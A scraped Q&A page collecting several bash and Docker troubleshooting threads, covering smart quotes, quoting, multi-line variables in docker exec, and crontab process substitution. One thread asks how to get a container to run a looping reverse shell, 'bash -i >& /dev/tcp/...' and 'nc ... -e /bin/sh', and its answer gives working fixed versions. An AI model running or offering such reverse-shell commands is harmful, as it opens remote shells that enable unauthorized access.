Unable to run shell command with docker? - bash

I have installed docker on Ubuntu 14.04. Now when i am trying to create one test job in docker, i am getting the below error:
$ sample_job=$(docker run -d busybox /bin/sh -c “while true; do echo
Docker; sleep 1; done”)
-bash: command substitution: line 228: syntax error near unexpected token `do'
-bash: command substitution: line 228: `docker run -d busybox /bin/sh -c “while true; do echo Docker; sleep 1; done”)'
I am following the below blog for starting with docker: http://blog.flux7.com/blogs/docker/docker-tutorial-series-part-2-the-15-commands
Could someone help me in resolving this issue.
Thanks!!

Credit goes to Cyrus:
Replaced “ by "
$ sample_job=$(docker run -d busybox /bin/sh -c "while true; do echo
Docker; sleep 1; done")

Related

docker: command not found; on running docker commands on remote server using shell script

I am trying to run docker commands from a shell script in a remote server using ssh. I am able to execute the command manually on the remote server but when I run it through the script, it shows this error:
+ eloquent_shamir
+ echo eloquent_shamir
+ docker version
/tmp/nmon_jstat_scripts_to_container.sh: line 4: docker: command not found
copying nmon.sh in container:eloquent_shamir
+ echo 'copying nmon.sh in container:eloquent_shamir'
+ docker cp /tmp/nmon.sh eloquent_shamir:/opt/
/tmp/nmon_jstat_scripts_to_container.sh: line 6: docker: command not found
copying jstat.sh in container:eloquent_shamir
+ echo 'copying jstat.sh in container:eloquent_shamir'
+ docker cp /tmp/jstat.sh eloquent_shamir:/opt/
/tmp/nmon_jstat_scripts_to_container.sh: line 9: docker: command not found
+ docker exec -it eloquent_shamir /bin/bash -c 'chmod 777 /opt/nmon.sh'
/tmp/nmon_jstat_scripts_to_container.sh: line 12: docker: command not found
+ docker exec -it eloquent_shamir /bin/bash -c 'chmod 777 /opt/jstat.sh'
/tmp/nmon_jstat_scripts_to_container.sh: line 14: docker: command not found
Here is my script which I am running in the remote server:
#!/bin/bash -x
echo $1
docker version
echo "copying nmon.sh in container:$1"
docker cp /tmp/nmon.sh $1:/opt/
echo "copying jstat.sh in container:$1"
docker cp /tmp/jstat.sh $1:/opt/
docker exec -it $1 /bin/bash -c "chmod 777 /opt/nmon.sh"
docker exec -it $1 /bin/bash -c "chmod 777 /opt/jstat.sh"
echo "...................."
echo "creating NMON_OUTPUT dir in container:$1"
docker exec -it $1 /bin/bash -c "mkdir /opt/NMON_OUTPUT"
echo "creating JSTAT_OUTPUT dir in container:$1"
docker exec -it $1 /bin/bash -c "mkdir /opt/JSTAT_OUTPUT"
echo "...................."
sleep 10
Here "eloquent_shamir" is container name.

Bash Script fails with error: OCI runtime exec failed

I am running the below script and getting error.
#!/bin/bash
webproxy=$(sudo docker ps -a --format "{{.Names}}"|grep webproxy)
webproxycheck="curl -k -s https://localhost:\${nginx_https_port}/HealthCheckService"
if [ -n "$webproxy" ] ; then
sudo docker exec $webproxy sh -c "$webproxycheck"
fi
Here is my docker ps -a output
$sudo docker ps -a --format "{{.Names}}"|grep webproxy
webproxy-dev-01
webproxy-dev2-01
when i run the command individually it works. For Example:
$sudo docker exec webproxy-dev-01 sh -c 'curl -k -s https://localhost:${nginx_https_port}/HealthCheckService'
HEALTHCHECK_OK
$sudo docker exec webproxy-dev2-01 sh -c 'curl -k -s https://localhost:${nginx_https_port}/HealthCheckService'
HEALTHCHECK_OK
Here is the error i get.
$ sh healthcheck.sh
OCI runtime exec failed: exec failed: container_linux.go:348: starting container process caused "exec: \"webproxy-dev-01\": executable file not found in $PATH": unknown
Could someone please help me with the error. Any help will be greatly appreciated.
Because the variable contains two tokens (on two separate lines) that's what the variable expands to. You are running
sudo docker exec webproxy-dev-01 webproxy-dev2-01 ...
which of course is an error.
It's not clear what you actually expect to happen, but if you want to loop over those values, that's
for host in $webproxy; do
sudo docker exec "$host" sh -c "$webproxycheck"
done
which will conveniently loop zero times if the variable is empty.
If you just want one value, maybe add head -n 1 to the pipe, or pass a more specific regular expression to grep so it only matches one container. (If you have control over these containers, probably run them with --name so you can unambiguously identify them.)
Based on your given script, you are trying to "exec" the following
sudo docker exec webproxy-dev2-01
webproxy-dev-01 sh -c "curl -k -s https://localhost:${nginx_https_port}/HealthCheckService"
As you see, here is your error.
sudo docker exec webproxy-dev2-01
webproxy-dev-01 [...]
The problem is this line:
webproxy=$(sudo docker ps -a --format "{{.Names}}"|grep webproxy)
which results in the following (you also posted this):
webproxy-dev2-01
webproxy-dev-01
Now, the issue is, that your docker exec command now takes both images names (coming from the variable assignment $webproxy), interpreting the second entry (which is webproxy-dev-01 and sepetrated by \n) as the exec command. This is now intperreted as the given command which is not valid and cannot been found: That's what the error tells you.
A workaround would be the following:
webproxy=$(sudo docker ps -a --format "{{.Names}}"| grep webproxy | head -n 1)
It only graps the first entry of your output. You can of course adapt this to do this in a loop.
A small snippet:
#!/bin/bash
webproxy=$(sudo docker ps -a --format "{{.Names}}"| grep webproxy )
echo ${webproxy}
webproxycheck="curl -k -s https://localhost:\${nginx_https_port}/HealthCheckService"
while IFS= read -r line; do
if [ -n "$line" ] ; then
echo "sudo docker exec ${line} sh -c \"${webproxycheck}\""
fi
done <<< "$webproxy"

Bash redirection doesn't work on container creation: "can't create /dev/tcp/<ip>/<port>: nonexistent directory"

I am trying to create a container that connects to a specific IP and port but it doesn't work for me with bash, only with regular shell.
When I create the container with bash redirection like that:
docker run -it alpine sh -c 'apk update && apk add bash && while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done'
I am getting the following errors:
sh: can't create /dev/tcp/172.17.0.64/6666: nonexistent directory
sh: can't create /dev/tcp/172.17.0.64/6666: nonexistent directory
But if I will create it separately like that:
$ docker run -it alpine sh -c 'apk update && apk add bash; bash'
bash-4.4# while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done
It will work.
I read this similar case but he wrote it should work from vesrion 2+ and I have 4.4.
OK, I solved it, it was issue with brackets, I needed to call bash with -c and then run the command inside for it to recognize it:
docker run -it alpine sh -c 'apk update && apk add bash && bash -c "while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done"'
By the way, the workaround was just to use the shell like that:
sh -c while true; do nc 172.17.0.22 6666 -e /bin/sh; sleep 2; done

Bash Command as Bash Command Argument

I have a daemonised Docker container. I can execute multiple bash commands in one go as current user in that container like this:
docker exec -it <container_ID> /bin/bash -c "pwd; cd src; pwd"
I now need to do this through a bash script. The script is simple:
#!/usr/bin/env bash
# Here I do stuff to acquire the container_ID
docker exec -it <container_ID> -user $(id -u):$(id -g) $#
And then I pass arguments to the script, like this:
./run_in_container.sh /bin/bash -c "pwd; cd src; pwd"
Which does not work as expected, because the quotes are stripped, and what docker exec gets is /bin/bash -c pwd; cd src; pwd. So I try the following:
./run_in_container.sh /bin/bash -c '"pwd; cd src; pwd"'
And I get this error message:
cd: -c: line 0: unexpected EOF while looking for matching `"'
cd: -c: line 1: syntax error: unexpected end of file
What would be the correct way of doing this?
I doubt this is very important information in this case, but I am using Gnu bash 4.3.11.
Use quotes around $#:
docker exec -it <container_ID> -user $(id -u):$(id -g) "$#"

bash script works on bootup, doesn't in terminal

I'm creating a server in Amazon ec2 and passing it a bash script as userdata, which is run when the server first boots. It includes a command to add a line to crontab for a user using the answer given here.
directory="/home/intahwebz/current/tools/amazon/"
command="cd $directory && sh backupSQLToS3.sh"
job="15 1 */2 * * $command"
cat <(fgrep -i -v "$command" <(crontab -u intahwebz -l)) <(echo "$job") | crontab -u intahwebz -
This script appears to work fine during bootup as it displays no error messages and the cronjob is installed in the crotab.
However I'd also like the script to run during server upgrades. Attempting to run the script from the command line gives the error:
installCrontab.sh: line 14: syntax error near unexpected token `('
installCrontab.sh: line 14: `cat <(fgrep -i -v "$command" <(crontab -u intahwebz -l)) <(echo "$job") | crontab -u intahwebz -'
What do I need to fix this error?
your approach is working perfectly for me:
$ whoami
test
$ echo $SHELL
/bin/bash
$ command="cd $directory && sh backupSQLToS3.sh"
$ job="15 1 */2 * * $command"
$ crontab -l
$ cat <(fgrep -i -v "$command" <(crontab -u test -l)) <(echo "$job") | crontab -u test -
$ crontab -l
15 1 */2 * * cd && sh backupSQLToS3.sh
I missed to set the "directory" variable but your code works fine for me.
It looks like you are using the bourne shell (/bin/sh) to execute a bash script. Try using bash instead of sh.

Resources